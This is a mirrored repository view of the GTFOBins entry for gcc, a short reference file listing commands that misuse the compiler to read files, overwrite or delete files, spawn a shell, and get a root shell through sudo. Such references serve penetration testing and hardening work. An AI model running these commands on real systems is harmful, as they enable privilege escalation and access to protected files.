1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/gcc.md

20 lines
572 B
Markdown
Raw Normal View History

2020-03-14 06:48:45 +01:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
gcc -x c -E "$LFILE"
- description: The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.
code: |
LFILE=file_to_read
gcc @"$LFILE"
2021-04-26 16:11:33 +02:00
file-write: # XXX this should be file-delete
2021-04-06 09:42:52 +02:00
- code: |
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
2020-03-14 06:48:45 +01:00
shell:
2020-03-14 12:17:30 +01:00
- code: gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
sudo:
2020-03-14 12:17:30 +01:00
- code: sudo gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
---